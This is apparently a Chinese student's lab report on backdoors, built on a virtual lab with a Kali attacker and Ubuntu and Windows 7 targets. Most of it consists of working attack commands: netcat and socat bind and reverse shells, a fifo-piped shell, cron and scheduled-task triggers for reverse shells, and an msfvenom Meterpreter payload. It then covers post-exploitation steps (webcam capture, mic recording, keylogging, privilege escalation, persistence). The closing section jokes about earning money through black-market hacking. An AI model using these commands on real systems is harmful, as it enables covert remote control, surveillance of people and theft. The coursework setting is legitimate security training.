• Exp2 后门原理与实践


    Exp2 后门原理与实践

    实验环境

    攻击机

    • kali 4.14(64位) (IP: 10.0.2.6/24)

    靶机

    • ubuntu 16.04(32位) (IP: 10.0.2.4/24)
    • windows 7 sp1(64位) (IP: 10.0.2.7/24)

    nc/ncat的使用

    nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项

    ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)

    nc的监听模式在kali下会出现问题,监听的端口会随机变化,因此推荐同学们在kali下使用ncat

    nc后门获得win/linux shell

    在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80启动后门服务。

    -L 选项-l选项是将nc设置为监听模式。-p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项可以绑定到cmd.exe这个shell程序。

    1.1

    在攻击机中输入nc 10.0.2.7 80连接到win7靶机,获得win7的shell。

    1.2

    ubuntu自带的nc版本没有-e 选项,当然可以用ncat替代,这里展示一下没有-e 选项的nc如何获得shell。(参考man手册)

    输入

    $ rm -f /tmp/f; mkfifo /tmp/f
    $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f
    

    1.3

    攻击机连接后,得到shell

    1.4

    nc获得win/linux反弹shell

    前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。

    在攻击机中输入ncat -vv -l 9190进入监听模式,-vv选项提供详细的状态输出。

    1.5

    靶机中输入nc 10.0.2.6 9190 -e cmd.exe主动连接攻击机

    1.6

    攻击机获得shell

    1.7

    nc后门配合cron启动反弹式shell

    crontab计划内容的基础知识可以在实验楼中学习,这里给出crontab的格式:

    # Example of job definition:
    # .---------------- minute (0 - 59)
    # |  .------------- hour (0 - 23)
    # |  |  .---------- day of month (1 - 31)
    # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
    # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
    # |  |  |  |  |
    # *  *  *  *  * user-name command to be executed
    
    1. 在攻击机下输入ncat -vv -l 9190在端口9190监听

    2.1

    2.在靶机中配置crontable,让它在中午12:00,连接攻击机(做完实验正好出去吃饭)

    2.2

    2.3

    3.时间到了,攻击机显示靶机10.0.2.4连接,获得反弹shell

    2.4

    socat的使用

    socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

    这里我们只把socat作为传递shell的工具使用。

    socat速查

    • 连接端口 socat - tcp:10.0.2.4:80 #连接ip 为 10.0.2.4 主机的80端口
    • 监听端口 socat - tcp-l:8080 #侦听本机的8080端口
    • 传递远程shell socat tcp-l:1234 exec:<sh>,pty,stderr #当有主机连接本机的1234端口时,将会发送本机的shell给连接端

    socat配合windows任务计划

    在win7靶机中点击控制面板->系统和安全->管理工具->任务计划程序,进入下面的画面:

    3.1

    选择创建任务,在常规选项卡中编辑名称,并在触发器选项卡中选择工作站锁定时,这样在靶机锁定的时候,我们的socat就会传递远程shell

    3.2

    操作选项卡中绑定socat程序,给出参数tcp-listen:9190 exec:cmd.exe,pty,stderr

    3.3

    然后按下win + L锁定win7靶机,在攻击机中输入socat - tcp:10.0.2.7:9190,获得远程shell。

    3.4

    Meterpreter的使用

    终于到祭出神器Meterpreter的部分了!Meterpreter是Metasploit框架中功能最强大、最有发展前景的模块,它作为可以被渗透攻击植入到目标系统上执行的一个攻击载荷,除了提供基本的会话控制之外,还集成了大量的后渗透攻击的命令和功能,
    比如敏感信息搜集、击键记录、本地特权提升等等。

    注意事项

    市面上的一些关于metasploit的书在某些方面已经过时了(我说的就是参考书《Metasploit魔鬼训练营》和《Metasploit渗透测试指南》),msfcli接口已经没有了,msfpayload和msfencode模块也被移除了,取而代之的是msfvenom,它集成了这两个模块的功能。
    所以《Metasploit魔鬼训练营》第9章中的一些内容无法复现出来。

    生成后门程序

    我们用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。

    输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe

    4.1

    我们把这个后门程序拷贝到win7靶机中去,方法有很多,这里使用ncat。

    在kali中输入ncat -l 9190 < 20155110_backdoor.exe

    在win7靶机的nc所在目录下输入nc 10.0.2.6 9190 > 20155110_backdoor.exe

    这样就将程序拷贝到了win7靶机中。

    4.2

    开启后门

    接着,让我们进入msfconsole中去,输入use exploit/multi/handler(可以用tab键补全)

    然后选择payload,看一下使用这个攻击载荷需要设置那些东西:

    4.3

    设置攻击机IP和监听的端口

    4.4

    接着输入exploit,然后在win7靶机中运行后门程序,猎物就上钩了。

    4.5

    进程迁移

    为了保证会话不被意外终止,我们首先需要将会话移植到比较稳定的系统服务进程中去。比如explorer.exe。

    输入ps查看win7靶机进程,发现explorer.exe的进程id为2020,我们把进程迁移到它上面。

    输入migrate 2020,进程迁移成功!

    5.3

    检查是否为虚拟机

    输入run post/windows/gather/checkvm,结果显示靶机是一台虚拟机

    5.1

    获得windows命令行

    特别简单,只要输入shell就行了。

    4.6

    获取音频

    非常简单,输入record_mic即可,虽然很无聊。

    5.4

    打开摄像头

    我使用的虚拟机软件是virtual box,需要安装VirtualBox Extension Pack才能让虚拟机使用主机的摄像头。

    安装方法(https://jingyan.baidu.com/article/a3761b2b8073361576f9aadf.html)

    输入webcam_list,发现靶机中有摄像头:

    4.7

    输入webcam_snap,给张照片(被自己丑哭了):

    4.8

    输入webcam_stream,持续打开摄像头,实况直播.

    截屏

    输入screenshot即可

    4.10

    键盘记录

    输入keyscan_start开始记录,keyscan_dump导出记录

    4.11

    尝试提权

    getuid显示当前用户,输入getsystem尝试提升权限,但是失败了,很遗憾:

    5.2

    Meterpreter的持久化

    Meterpreter仅仅是驻留在内存的shellcode,靶机重启的话,攻击机就会失去控制权了。如果被利用的漏洞被打上了补丁,重新入侵就非常困难。

    通过使用persistence或者metsvc的后渗透模块,在靶机上安装自启动或系统服务的方式,可以达到长久控制靶机的目标。

    但不得不说,这些技术有些简单了,很容易引起人们的察觉,也没法逃过安全软件。

    persistence自启动

    输入run persistence -X -i 5 -p 443 -r 10.0.2.6-X指定启动的方式为开机自启动,-i指定反向连接的时间间隔。

    5.6.1

    5.6

    靶机重启完毕,我们在攻击机上收到了Meterpreter的会话。

    5.7

    metsvc模块

    metsvc模块将Meterpreter以系统服务的形式安装到目标主机上,直接输入run metsvc,只可惜失败了。

    5.8

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    答:后门一般隐藏在正常应用程序之中,甚至官方故意将后门设置在系统中。我们在网上下载所谓的“破解软件”、ooxx视频、未知邮件附件也可能携带后门。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    答:直接诱骗用户点击,通常将后门伪装成正常软件,比如网上银行之类的,曾经有电信骗子就被微博博主“中国元”忽悠,亲手打开了后门(笑)。

    也可以修改注册表设置成开机自启动,或者直接将后门安装成系统服务,但这些手段暴露的可能性很大。

    (3)Meterpreter有哪些给你映像深刻的功能?

    答:这次实验的所有功能都让我很兴奋!

    (4)如何发现自己的系统有没有被安装后门?

    答:网上的一些老手喜欢用手工的入侵防御系统(IPS)自己配置规则,自己查看进程和注册表来发现系统的异常,我作为小白是完全不会用的。

    所以只能依靠360全家桶了……(笑)

    实验总结与体会

    metasploit实在是太可怕了!于是,我有过这样的幻想:有了这样的神器,我觉得自己研究个三四年,然后在公网上部署一个metasploit,虽然没有技术水平写属于自己的shellcode,当个“脚本小子”完全没问题!虽然我只是一名普通的公务员,工资水平一般,但是靠干“脚本小子”的活说不定能挣到一笔外快呢!我听说做黑产是很挣钱的,就算是在产业链的尾巴上,也能挣到一笔不小的收入呢!攒着这笔钱买房买车娶老婆给父母养老……

    回到现实吧,的确现在入门网络安全的门槛越来越低,但这不等同于学习网络安全技术很容易。

    真正的一线黑产、国家黑客、高级安全研究人员可都是计算机技术的专家!这些本领不是简单地输入一两条指令,使用一些工具,他们的技术能力是建立在对计算机和网络无比熟悉和精通的基础上,从而拥有“除了上帝,一切皆可渗透”的技术自信。

    认真反思了下自己,我觉得自己和技术是无缘了,就算我真的爱财,也没有门路和能力在黑客技术上挣钱。

    但把安全技术当作兴趣爱好还是可以的,毕竟挺好玩的。

  • 相关阅读:
    Spring spEL
    Spring 使用外部部署文件
    Spring 自动装配
    spring 属性配置细节
    hdu 1054 Strategic Game
    fzu 2037 Maximum Value Problem
    将博客搬至CSDN
    HDU 4714 Tree2Cycle
    HDU 1009 The Shortest Path in Nya Graph
    POJ 1942 Paths on a Grid 组合数的优化
  • 原文地址:https://www.cnblogs.com/wyf12138/p/8643422.html
Copyright © 2020-2023  润新知